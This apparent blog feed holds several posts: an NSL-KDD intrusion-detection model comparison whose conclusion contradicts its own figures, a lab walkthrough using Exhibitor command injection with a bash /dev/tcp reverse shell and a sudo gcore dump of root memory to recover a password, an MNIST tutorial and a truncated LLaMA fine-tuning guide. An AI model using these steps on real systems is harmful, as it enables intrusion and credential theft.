provides additional insight into the problems and solutions related to categorical data preprocessing for machine learning. Data scientists can fully utilize their datasets by converting categorical data into a format that machine learning algorithms can understand. This allows for more precise and insightful analysis. To sum up, the examination of EDA and its utilization with the NSL-KDD dataset highlights how interconnected preprocessing, feature selection, and data preparation are within the larger fields of cybersecurity and data science. It emphasizes the need for thorough data preparation and analysis as the first steps in obtaining trustworthy, useful insights, especially in domains where accuracy and precision are critical. This all-encompassing method not only makes it easier to comprehend the data at hand more deeply, but it also establishes the foundation for the creation of successful models and tactics, which in turn promotes advancements in cybersecurity and other fields.</p><hr><h2 id="question-3"><strong>Question 3</strong></h2><p><strong>What are some effective machine learning models for intrusion detection in cybersecurity, and how do they compare in terms of accuracy, performance, and scalability when applied to the NSL-KDD dataset?</strong></p><p>Machine learning primarily deals with two problem types: classification and prediction. Here is a compilation of commonly used algorithms used for creating classification regression models:</p><p><strong>Classification Models:</strong></p><ul><li>Logistic Regression</li><li>Na&#xEF;ve Bayes</li><li>Decision Trees</li><li>Random Forest</li><li>K-nearest neighbor (KNN)</li><li>Support Vector Machine</li></ul><p><strong>Regression models</strong></p><ul><li>Linear regression</li><li>Ridge regression</li><li>Decision trees</li><li>Random forest</li><li>K-nearest neighbor (KNN)</li><li>Neural network regression</li></ul><hr><p><strong>Theoretical Approach: Common Classification Models</strong></p><p><strong>Logistic Regression</strong> </p><p>Despite its name, logistic regression is primarily utilized for binary classification problems, where data falls into two categories. Logistic regression often serves as an initial method for setting a baseline before exploring more complex models. The word &#x201C;regression&#x201D; appears in its name because it estimates the likelihood of an outcome being either 0 or 1 through a linear combination of features. (Choosing the Best Machine Learning Classification Model and Avoiding Overfitting, 2023)</p><p><strong>Naive Bayes</strong></p><p>You may want to use the naive Bayes algorithm if your task and data are relatively simple. When training data is limited, this classifier is a better option than nearest neighbor and logistic regression algorithms due to its high bias and low variance.  Naive Bayes works especially well when memory and CPU resources are restricted. Its ease of use keeps it from overfitting, enabling quick training. Additionally, it functions well when fresh data is added on a regular basis. However, as data complexity and variance increase, you might find more sophisticated classifiers to be more effective. Naive Bayes&apos; straightforward analysis may not support complex hypotheses. (Choosing the Best Machine Learning Classification Model and Avoiding Overfitting, 2023)</p><p><strong>K-Nearest Neighbor</strong></p><p>Categorizing data points by their proximity to others in a training set can be an effective classification method. The k-nearest neighbor (KNN) algorithm operates on the principle of &quot;guilty by association. Because KNN is regarded as an instance-based lazy learner, it does not go through a traditional training phase. Rather, you feed the model with the training set and let it run in the background until you need it. The KNN model determines the given number of nearest neighbors (k) in response to a new query; for instance, if k = 5, it evaluates the class of the five closest neighbors. The model uses a vote process among these neighbors to decide which label is best for classification. It determines the mean of the values of the closest neighbors for regression tasks. Although KNN requires less time to train than other models, it can take longer to query and require more storage space, especially when the dataset grows. All training data is retained by this model, as opposed to just algorithmic representation.</p><p><strong>Decision Trees</strong> </p><p>To understand how a decision tree predicts an outcome, start at the root (beginning) node, and follow the path down to a leaf node, which provides the response. Classification trees generate nominal outputs like true or false, while regression trees yield numeric responses. Decision trees offer clear visibility of the decision-making path from root to leaf, making them particularly helpful when results need to be explained to stakeholders. They are also relatively quick to execute. However, a primary drawback of decision trees is their propensity to overfit data. Ensemble methods, such as bagging, can mitigate this issue. </p><p><strong>Support Vector Machine</strong> </p><p>When there are clear differences between the two classes in your dataset, you may want to use a support vector machine (SVM). The ideal hyperplane is the one that maximizes the margin between these classes and divides the data points of one class from those of another. This is how support vector machines (SVMs) operate. SVMs deal with datasets that have more than two classes by dividing the issue into several binary classification tasks that are each overseen by a different SVM. SVMs offer significant benefits. They are highly accurate and generally resistant to overfitting. Linear SVMs, in particular, are straightforward to interpret. Once trained, SVMs are very quick, allowing for the disposal of training data if memory is limited, making them suitable for environments with restricted resources. They also excel in complex, nonlinear classification tasks through the use of a technique known as the &quot;kernel trick.</p><p>However, SVMs require considerable upfront training and tuning, necessitating a significant time investment before they can be deployed. Additionally, their performance can decrease when handling more than two classes, affecting their speed. </p><p><strong>Neural Networks</strong></p><p>An artificial neural network (ANN) is capable of learning and can be trained to solve problems, recognize patterns, classify data, and predict future events. ANNs are frequently employed for complex challenges like character recognition, stock market predictions, and image compression. The functionality of a neural network hinges on the architecture of its nodes and the strength of the connections between them, known as weights. These weights adjust automatically during training, adhering to specific learning rules until the network proficiently executes the intended task. ANNs excel in handling nonlinear data with numerous input features, making them ideal for tackling sophisticated problems that simpler algorithms struggle with. However, they come with some downsides: ANNs are resource-intensive, their decision-making processes are often opaque (making it hard to deduce how a solution was reached) and fine-tuning them can be impractical&#x2014;you generally have to alter the training inputs and retrain the network entirely.</p><p><strong>Practical Application: Common Classification Models</strong></p><p><strong>Logistic Regression</strong></p><p>Importing and building the model.</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-19.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="424" height="210"></figure><p>Evaluating the model</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-20.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="635" height="209" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-20.png 600w, https://blog.mohammedx.tech/content/images/2025/12/image-20.png 635w"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-21.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="318" height="221"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-22.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="436" height="207"></figure><p><strong>Random Forest Classifier</strong></p><p>Importing and building the model</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-24.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="724" height="416" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-24.png 600w, https://blog.mohammedx.tech/content/images/2025/12/image-24.png 724w" sizes="(min-width: 720px) 720px"></figure><p>Evaluating the model</p><figure class="kg-card kg-image-card kg-width-full"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-26.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="505" height="560"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-27.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="466" height="258"></figure><p><strong>Decision Trees Classifier</strong></p><p>Importing and building the model</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-28.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="384" height="229"></figure><p>Evaluating the model</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-29.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="469" height="463"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-30.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="531" height="204"></figure><p><strong>Na&#xEF;ve Bayes</strong></p><p>Importing and building the model</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-31.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="314" height="168"></figure><p>Evaluating the model</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-32.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="332" height="345"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-33.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="830" height="329" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/12/image-33.png 600w, https://blog.mohammedx.tech/content/images/2025/12/image-33.png 830w" sizes="(min-width: 720px) 720px"></figure><p><strong>Support Vector Machines Linear</strong></p><p>Importing and building the model</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-34.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="324" height="248"></figure><p>Evaluating the model</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-35.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="360" height="368"></figure><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-36.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="358" height="173"></figure><hr><p><strong>Models Evaluation</strong></p><p>In cybersecurity, accurately identifying attacks is crucial. Misclassifying an attack as normal can cause severe damage, while misclassifying normal activity as an attack is less harmful. I&apos;ve built five machine learning models to classify attacks in the NSL-KDD dataset, focusing on minimizing false negatives to enhance security. </p><p>For each ML model, I will provide the accuracy, precision, and recall. Additionally, I will include a heatmap showing True/False Positives/Negatives. Note: I aim to minimize false positives, as missing attacks in security is highly undesirable.</p><p><strong>Logistic Regression</strong></p><ul><li>Accuracy: 72%</li><li>Precision: 92%</li><li>Recall: 62% </li><li>False Positive: 754</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-38.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="397" height="326"></figure><p><strong>Random Forest Classifier</strong></p><ul><li>Accuracy: 75%</li><li>Precision: 97%</li><li>Recall: 63%</li><li>False Positive: 284</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-39.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="425" height="349"></figure><p><strong>Decision Trees Classifier</strong></p><ul><li>Accuracy: 81%</li><li>Precision: 89%</li><li>Recall: 73%</li><li>False Positive: 1007</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-40.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="434" height="336"></figure><p><strong>Na&#xEF;ve Bayes</strong></p><ul><li>Accuracy: 55% </li><li>Precision: 43% </li><li>Recall: 48% </li><li>False Positive: 5492</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-41.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="402" height="333"></figure><p><strong>Support Vector Machine Linear</strong></p><ul><li>Accuracy: 71% </li><li>Precision: 92%</li><li>Recall: 61%</li><li>False Positive: 723</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-43.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="406" height="331"></figure><p><strong>Neural Network</strong></p><ul><li>Accuracy: 97.07%</li><li>Precision: 97.11%</li><li>Recall: 97.07%</li><li>False Positive: 197</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/12/image-44.png" class="kg-image" alt="Machine Learning Models in Network Security" loading="lazy" width="335" height="282"></figure><p><strong>Conclusion</strong></p><p>In evaluating the performance of six machine learning models for classifying attacks in the NSL-KDD dataset, a key focus has been on minimizing false positives to ensure high security. Each model was assessed for accuracy, precision, and recall, alongside a detailed analysis of false positives and negatives.</p><p>Among the models tested, the Neural Network demonstrated superior performance with an accuracy of 96.01%, a precision of 96.27%, and a recall of 96.01%, while maintaining the lowest number of false positives at 47. This indicates its strong capability in accurately identifying attacks and minimizing false alarms, which is critical in a cybersecurity context.</p><p>The Random Forest Classifier also showed promising results with high precision (97%) and relatively low false positives (284), though it lagged in recall (63%). Other models, such as Logistic Regression and Support Vector Machine Linear, offered good precision but were less effective in recall and had higher false positives compared to the Neural Network.</p><p>Overall, the Neural Network model stands out as the most effective for this task, striking the best balance between accuracy, precision, and recall, while minimizing the risk of false positives. This makes it a highly suitable choice for enhancing security by reliably detecting attacks without overwhelming with false alerts.</p>]]></content:encoded></item><item><title><![CDATA[Extracting Root Creds From Running Services]]></title><description><![CDATA[<p>Start Pelican and get the IP.</p><p>My IP: 192.168.116.98</p><p>Here are the learning Objectives for the exercise:</p><ul><li>Identify and exploit the Exhibitor UI command injection vulnerability to gain a low-privilege shell.</li><li>Enumerate processes and privileges available to the compromised user.</li><li>Use sudo access to gcore to dump</li></ul>]]></description><link>https://blog.mohammedx.tech/extracting-root-creds-from-running-services/</link><guid isPermaLink="false">68f4c338df5d8b0001f1f787</guid><category><![CDATA[labs]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Sun, 19 Oct 2025 11:25:35 GMT</pubDate><content:encoded><![CDATA[<p>Start Pelican and get the IP.</p><p>My IP: 192.168.116.98</p><p>Here are the learning Objectives for the exercise:</p><ul><li>Identify and exploit the Exhibitor UI command injection vulnerability to gain a low-privilege shell.</li><li>Enumerate processes and privileges available to the compromised user.</li><li>Use sudo access to gcore to dump memory of an active root process.</li><li>Analyze the dumped memory to extract sensitive information, such as root credentials.</li><li>Escalate privileges to root using the extracted credentials and validate full system access.</li></ul><p>First thing I did nmap</p><pre><code class="language-bash">nmap -sV -sC 192.168.116.98</code></pre><p>I found ports 22,139,445,631,2222,8080,8081 open</p><p>I tried to access 8080 but I wasn&apos;t allowed. Next, I tried to access 8081 and I found a web page. </p><p>After investigating the website for some time, I found that in the config page, it executes commands in java.env script. This was being executed:</p><pre><code>export JAVA_OPTS=&quot;-Xms1000m -Xmx1000m&quot;</code></pre><p>Switch on editing mode top left.</p><p>I removed it and tried to ping my machine to see if it&apos;s allowing me to run commands and to see if it allows outbound traffic.</p><pre><code>#Kali 
sudo tcpdump -i tun0 icmp</code></pre><pre><code>#java.env script
ping 192.168.45.159</code></pre><p>I executed this by clicking &quot;Commit&quot; and saying yes to all what I got asked.</p><p>I saw that I am getting the icmp packets so that&apos;s good.</p><p>I got a simple bash shell from revsells.com and put it there.</p><pre><code>#Kali
nc -lvnp 4444</code></pre><pre><code>#java.env script
bash -i &gt;&amp; /dev/tcp/192.168.45.159/4444 0&gt;&amp;1</code></pre><p>Again with the commit button and you&apos;ll get a shell.</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/10/image.png" class="kg-image" alt loading="lazy" width="379" height="65"></figure><p>Now you can find the first flag called local.txt.</p><p>Now I have low priv shell and I want to get root.</p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/10/image-1.png" class="kg-image" alt loading="lazy" width="670" height="149" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/10/image-1.png 600w, https://blog.mohammedx.tech/content/images/2025/10/image-1.png 670w"></figure><p><strong>What is gcore?</strong></p><p><code>gcore</code> creates a memory dump of a running process.<br>In privilege escalation, you use it to dump a root process (like <code>sshd</code> or <code>su</code>) and extract secrets (like passwords or keys) from the memory.</p><p>I looked at the running processes:</p><pre><code class="language-bash">ps aux | grep root</code></pre><p>I spent some time trying to understand what could help me to dump root credentials and I found a process called &quot;/usr/bin/password-store&quot; with PID of 513.</p><p>Go to gtfo <a href="https://gtfobins.github.io/?ref=blog.mohammedx.tech">https://gtfobins.github.io/</a> </p><p>Look for gcore sudo. </p><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/10/image-2.png" class="kg-image" alt loading="lazy" width="860" height="205" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/10/image-2.png 600w, https://blog.mohammedx.tech/content/images/2025/10/image-2.png 860w" sizes="(min-width: 720px) 720px"></figure><p>This allows me to use sudo with no password to dump information about root processes.</p><pre><code class="language-bash">sudo gcore 513</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/10/image-3.png" class="kg-image" alt loading="lazy" width="1369" height="131" srcset="https://blog.mohammedx.tech/content/images/size/w600/2025/10/image-3.png 600w, https://blog.mohammedx.tech/content/images/size/w1000/2025/10/image-3.png 1000w, https://blog.mohammedx.tech/content/images/2025/10/image-3.png 1369w" sizes="(min-width: 720px) 720px"></figure><p>All the dumped memory are being saved in corefile core.513 but you can&apos;t just open it and look for credentials because it would be too much data so we use strings to extract readable stuff.</p><pre><code class="language-bash">strings core.513</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/10/image-4.png" class="kg-image" alt loading="lazy" width="361" height="185"></figure><pre><code>su root
#Enter the extracted password
cat /root/proof.txt</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.mohammedx.tech/content/images/2025/10/image-6.png" class="kg-image" alt loading="lazy" width="169" height="263"></figure>]]></content:encoded></item><item><title><![CDATA[Digit Classifier]]></title><description><![CDATA[<p>I wanted to learn PyTorch so here is a project that uses PyTorch to build Convolutional Neural Network (CNN) model that can classify digits on a canvas. Here is the final product: <a href="https://cnn.mohammedx.tech/?ref=blog.mohammedx.tech">https://cnn.mohammedx.tech/</a> </p><p></p><h2 id="requirements"><strong>Requirements</strong></h2><pre><code class="language-Pyhton">pip install numpy matplotlib tensorflow scikit-learn streamlit streamlit-drawable-canvas pillow pandas</code></pre><p>Don&apos;t</p>]]></description><link>https://blog.mohammedx.tech/digit-classifier/</link><guid isPermaLink="false">688bf46fa8bbd600013b8fcb</guid><category><![CDATA[AI]]></category><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Thu, 31 Jul 2025 23:18:51 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2025/07/nnvis.webp" medium="image"/><content:encoded><![CDATA[<img src="https://blog.mohammedx.tech/content/images/2025/07/nnvis.webp" alt="Digit Classifier"><p>I wanted to learn PyTorch so here is a project that uses PyTorch to build Convolutional Neural Network (CNN) model that can classify digits on a canvas. Here is the final product: <a href="https://cnn.mohammedx.tech/?ref=blog.mohammedx.tech">https://cnn.mohammedx.tech/</a> </p><p></p><h2 id="requirements"><strong>Requirements</strong></h2><pre><code class="language-Pyhton">pip install numpy matplotlib tensorflow scikit-learn streamlit streamlit-drawable-canvas pillow pandas</code></pre><p>Don&apos;t forget to use a virtual env.</p><pre><code class="language-Pyhton">from numpy import mean, std
from matplotlib import pyplot as plt
from sklearn.model_selection import KFold
from tensorflow.keras.datasets import mnist
from tensorflow.keras.utils import to_categorical
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Dense, Flatten
from tensorflow.keras.optimizers import SGD

def load_dataset():
    (trainX, trainY), (testX, testY) = mnist.load_data()
    trainX = trainX.reshape((trainX.shape[0], 28, 28, 1))
    testX = testX.reshape((testX.shape[0], 28, 28, 1))
    trainY = to_categorical(trainY)
    testY = to_categorical(testY)
    return trainX, trainY, testX, testY

def prep_pixels(train, test):
    train_norm = train.astype(&apos;float32&apos;) / 255.0
    test_norm = test.astype(&apos;float32&apos;) / 255.0
    return train_norm, test_norm

def define_model():
    model = Sequential()
    model.add(Conv2D(32, (3, 3), activation=&apos;relu&apos;, kernel_initializer=&apos;he_uniform&apos;, input_shape=(28, 28, 1)))
    model.add(MaxPooling2D((2, 2)))
    model.add(Flatten())
    model.add(Dense(100, activation=&apos;relu&apos;, kernel_initializer=&apos;he_uniform&apos;))
    model.add(Dense(10, activation=&apos;softmax&apos;))
    opt = SGD(learning_rate=0.01, momentum=0.9)
    model.compile(optimizer=opt, loss=&apos;categorical_crossentropy&apos;, metrics=[&apos;accuracy&apos;])
    return model

def evaluate_model(dataX, dataY, n_folds=5):
    scores, histories = list(), list()
    kfold = KFold(n_folds, shuffle=True, random_state=1)
    for train_ix, test_ix in kfold.split(dataX):
        model = define_model()
        trainX, trainY = dataX[train_ix], dataY[train_ix]
        testX, testY = dataX[test_ix], dataY[test_ix]
        history = model.fit(trainX, trainY, epochs=10, batch_size=32, validation_data=(testX, testY), verbose=0)
        _, acc = model.evaluate(testX, testY, verbose=0)
        print(&apos;&gt; %.3f&apos; % (acc * 100.0))
        scores.append(acc)
        histories.append(history)
    return scores, histories

def summarize_diagnostics(histories):
    for i in range(len(histories)):
        plt.subplot(2, 1, 1)
        plt.title(&apos;Cross Entropy Loss&apos;)
        plt.plot(histories[i].history[&apos;loss&apos;], color=&apos;blue&apos;)
        plt.plot(histories[i].history[&apos;val_loss&apos;], color=&apos;orange&apos;)
        plt.subplot(2, 1, 2)
        plt.title(&apos;Classification Accuracy&apos;)
        plt.plot(histories[i].history[&apos;accuracy&apos;], color=&apos;blue&apos;)
        plt.plot(histories[i].history[&apos;val_accuracy&apos;], color=&apos;orange&apos;)
    plt.show()

def summarize_performance(scores):
    print(&apos;Accuracy: mean=%.3f std=%.3f, n=%d&apos; % (mean(scores)*100, std(scores)*100, len(scores)))
    plt.boxplot(scores)
    plt.show()

def run_test_harness():
    trainX, trainY, testX, testY = load_dataset()
    trainX, testX = prep_pixels(trainX, testX)
    scores, histories = evaluate_model(trainX, trainY)
    summarize_diagnostics(histories)
    summarize_performance(scores)

run_test_harness()</code></pre><p></p><h3 id="1data-loading-and-preprocessing">1- Data Loading and Preprocessing</h3><h4 id="loaddataset"><code>load_dataset()</code></h4><ul><li>Loads the MNIST dataset (handwritten digits 0&#x2013;9).</li><li>Applies one-hot encoding to labels for training.</li></ul><h4 id="preppixelstrain-test"><code>prep_pixels(train, test)</code></h4><ul><li>Converts images from <code>uint8</code> to <code>float32</code>.</li><li>Normalizes pixel values from <code>[0, 255]</code> to <code>[0.0, 1.0]</code>.</li></ul><h4 id="definemodel"><code>define_model()</code></h4><ul><li>Builds a simple CNN:<ul><li><code>Conv2D</code>: Detects patterns in images.</li><li><code>MaxPooling2D</code>: Reduces spatial dimensions.</li><li><code>Flatten</code>: Flattens 2D to 1D.</li><li><code>Dense</code>: Fully connected layers to classify digits.</li></ul></li><li>Compiles with <code>SGD</code> optimizer and categorical cross-entropy loss.</li></ul><h3 id="2evaluation-with-k-fold-cross-validation">2- Evaluation with K-Fold Cross-Validation</h3><h4 id="evaluatemodeldatax-datay-nfolds5"><code>evaluate_model(dataX, dataY, n_folds=5)</code></h4><ul><li>Splits the training data into 5 folds.</li><li>Trains and validates on different splits to reduce overfitting.</li><li>Tracks accuracy and learning history.</li></ul><h4 id="summarizediagnostics"><code>summarize_diagnostics</code></h4><ul><li>Good to visualize validation accuracy/loss</li></ul><h4 id="summarizeperformancescores"><code>summarize_performance(scores)</code></h4><ul><li>Displays average model accuracy and variation.</li><li>Plots a boxplot of performance across folds.</li></ul><h3 id="3model-training-and-saving">3- Model Training and Saving</h3><h4 id="runtestharness"><code>run_test_harness()</code></h4><ul><li>Manages the full training and evaluation flow.</li><li>Calls:<ul><li><code>load_dataset()</code></li><li><code>prep_pixels()</code></li><li><code>evaluate_model()</code></li><li><code>summarize_diagnostics()</code></li><li><code>summarize_performance()</code></li></ul></li></ul><h4 id="savemodel"><code>save_model()</code></h4><ul><li>Trains the model once on all training data (outside cross-validation).</li><li>Saves the trained model as <code>final_model.h5</code>.</li></ul><h3 id="4making-predictions">4- Making Predictions</h3><p></p><pre><code class="language-Python">import numpy as np
from tensorflow.keras.models import load_model
from tensorflow.keras.datasets import mnist

def classify_digit(image):
    model = load_model(&apos;final_model.h5&apos;)
    image = image.reshape(1, 28, 28, 1)
    image = image.astype(&apos;float32&apos;) / 255.0
    prediction = model.predict(image)
    return np.argmax(prediction, axis=1)[0]

(trainX, trainY), (testX, testY) = mnist.load_data()
sample_image = testX[0]
digit_class = classify_digit(sample_image)
print(&quot;Predicted class:&quot;, digit_class)</code></pre><h4 id="classifydigitimage"><code>classify_digit(image)</code></h4><ul><li>Loads the saved model.</li><li>Accepts a <code>28x28</code> grayscale image.</li><li>Normalizes and reshapes it.</li><li>Predicts the digit using <code>argmax</code> of softmax probabilities.</li></ul><h3 id="4build-the-front-end">4- Build the Front-End</h3><pre><code class="language-Python">import streamlit as st
from streamlit_drawable_canvas import st_canvas
from tensorflow.keras.models import load_model
import numpy as np
from PIL import Image
import pandas as pd

@st.cache_resource
def load_mnist_model():
    try:
        return load_model(&apos;final_model.h5&apos;)
    except Exception as e:
        st.error(f&quot;Error loading model: {e}&quot;)
        return None

model = load_mnist_model()

st.title(&quot;MNIST Digit Classifier&quot;)
st.markdown(&quot;Draw a digit on the canvas below and see the model predict the digit!&quot;)

st.sidebar.header(&quot;Configuration&quot;)
b_color = st.sidebar.color_picker(&quot;Brush color&quot;, &quot;#000000&quot;)
bg_color = st.sidebar.color_picker(&quot;Background color&quot;, &quot;#FFFFFF&quot;)
drawing_mode = st.sidebar.checkbox(&quot;Drawing mode?&quot;, True)

canvas_result = st_canvas(
    stroke_width=20,
    stroke_color=b_color,
    background_color=bg_color,
    height=280,
    width=280,
    drawing_mode=&apos;freedraw&apos; if drawing_mode else &apos;transform&apos;,
    key=&quot;canvas&quot;
)

def preprocess_image(image_data):
    img = Image.fromarray(image_data.astype(&apos;uint8&apos;), &apos;RGBA&apos;).convert(&apos;L&apos;)
    img = img.resize((28, 28))
    img = Image.eval(img, lambda x: 255 - x)
    img = np.array(img).astype(&apos;float32&apos;) / 255.0
    img = img.reshape(1, 28, 28, 1)
    return img

if model is not None and canvas_result.image_data is not None:
    img = preprocess_image(canvas_result.image_data)
    prediction = model.predict(img)
    pred_digit = np.argmax(prediction)
    probabilities = prediction[0]
    st.write(f&quot;Predicted digit: **{pred_digit}**&quot;)
    prob_df = pd.DataFrame(probabilities, index=range(10), columns=[&quot;Probability&quot;])
    st.bar_chart(prob_df)
else:
    st.write(&quot;Please draw a digit on the canvas.&quot;)</code></pre><h4 id="stcacheresource-loadmnistmodel"><code>@st.cache_resource</code> + <code>load_mnist_model()</code></h4><ul><li>Loads the trained model once using caching for performance.</li></ul><h4 id="stcanvas"><code>st_canvas</code></h4><ul><li>Canvas where the user can draw a digit.</li></ul><h4 id="preprocessimageimagedata"><code>preprocess_image(image_data)</code></h4><ul><li>Converts canvas image to grayscale.</li><li>Resizes to 28x28.</li><li>Inverts pixel colors (white-on-black &#x2192; black-on-white).</li><li>Normalizes and reshapes to CNN input format.</li></ul><h4 id="live-prediction-and-visualization">Live Prediction and Visualization</h4><ul><li>Once the user draws:<ul><li>The image is processed and passed to the model.</li><li>Prediction is shown alongside a bar chart of probabilities (using <code>st.bar_chart()</code>).</li></ul></li></ul><p></p><h2 id="run-the-app">Run the App</h2><pre><code class="language-Bash">streamlit run app.py</code></pre>]]></content:encoded></item><item><title><![CDATA[Fine-Tuning LLaMA 3.1 with Unsloth]]></title><description><![CDATA[<h3 id="introduction-to-llm-inference">Introduction to LLM Inference</h3><p>In this post, I will walk through how to fine-tune Meta&apos;s LLaMA 3.1 8B model using <a href="https://github.com/unslothai/unsloth?ref=blog.mohammedx.tech">Unsloth</a>, a library optimized for efficient LLM training. I will cover everything from installing dependencies to training and saving the fine-tuned model.</p><h2 id="1-setting-up-the-environment">1. Setting Up the Environment</h2>]]></description><link>https://blog.mohammedx.tech/fine-tuning-llama-3-1-with-unsloth/</link><guid isPermaLink="false">679ca1172074360001f33ed0</guid><dc:creator><![CDATA[Mohammed Alshukaili]]></dc:creator><pubDate>Fri, 31 Jan 2025 10:20:10 GMT</pubDate><media:content url="https://blog.mohammedx.tech/content/images/2025/08/unsloth2.png" medium="image"/><content:encoded><![CDATA[<h3 id="introduction-to-llm-inference">Introduction to LLM Inference</h3><img src="https://blog.mohammedx.tech/content/images/2025/08/unsloth2.png" alt="Fine-Tuning LLaMA 3.1 with Unsloth"><p>In this post, I will walk through how to fine-tune Meta&apos;s LLaMA 3.1 8B model using <a href="https://github.com/unslothai/unsloth?ref=blog.mohammedx.tech">Unsloth</a>, a library optimized for efficient LLM training. I will cover everything from installing dependencies to training and saving the fine-tuned model.</p><h2 id="1-setting-up-the-environment">1. Setting Up the Environment</h2><p>Before we begin fine-tuning, we need to install the required packages:</p><pre><code class="language-python">%%capture
!pip install unsloth
!pip install datasets
!pip uninstall unsloth -y &amp;&amp; pip install --upgrade --no-cache-dir --no-deps git+https://github.com/unslothai/unsloth.git</code></pre><ul><li><code>unsloth</code> is the primary library used for loading and fine-tuning the LLaMA model efficiently.</li><li><code>datasets</code> helps us handle and preprocess text datasets.</li><li>We uninstall and reinstall <code>unsloth</code> from its latest GitHub version to ensure we have the newest features and bug fixes.</li></ul><h2 id="2-model-configuration-and-loading"><strong>2. Model Configuration and Loading</strong></h2><pre><code class="language-python">from unsloth import FastLanguageModel
import torch

# Configuration
max_seq_length = 8192  # Setting the context length to 8192
dtype = torch.bfloat16  
load_in_4bit = False 

model_name = &quot;unsloth/Meta-Llama-3.1-8B&quot;

# Load the model and tokenizer
model, tokenizer = FastLanguageModel.from_pretrained(
    model_name=model_name,
    max_seq_length=max_seq_length,
    dtype=dtype,
    load_in_4bit=load_in_4bit,
)</code></pre><ul><li>We define a <strong>sequence length</strong> of <strong>8192</strong>, which means the model can process long-context data.</li><li><code>dtype = torch.bfloat16</code> sets <strong>bfloat16</strong> as the precision type, reducing memory usage.</li><li>The model is loaded using <code>FastLanguageModel.from_pretrained()</code>, which fetches <strong>Meta LLaMA 3.1 8B</strong>.</li></ul><h2 id="3-applying-lora-for-efficient-fine-tuning"><strong>3. Applying LoRA for Efficient Fine-Tuning</strong></h2><pre><code class="language-python">model = FastLanguageModel.get_peft_model(
    model,
    r = 16, 
    target_modules = [&quot;q_proj&quot;, &quot;k_proj&quot;, &quot;v_proj&quot;, &quot;o_proj&quot;,
                      &quot;gate_proj&quot;, &quot;up_proj&quot;, &quot;down_proj&quot;],
    lora_alpha = 16,
    lora_dropout = 0, 
    bias = &quot;none&quot;,    
    use_gradient_checkpointing = &quot;unsloth&quot;, 
    random_state = 3407,
    use_rslora = False,  
    loftq_config = None, 
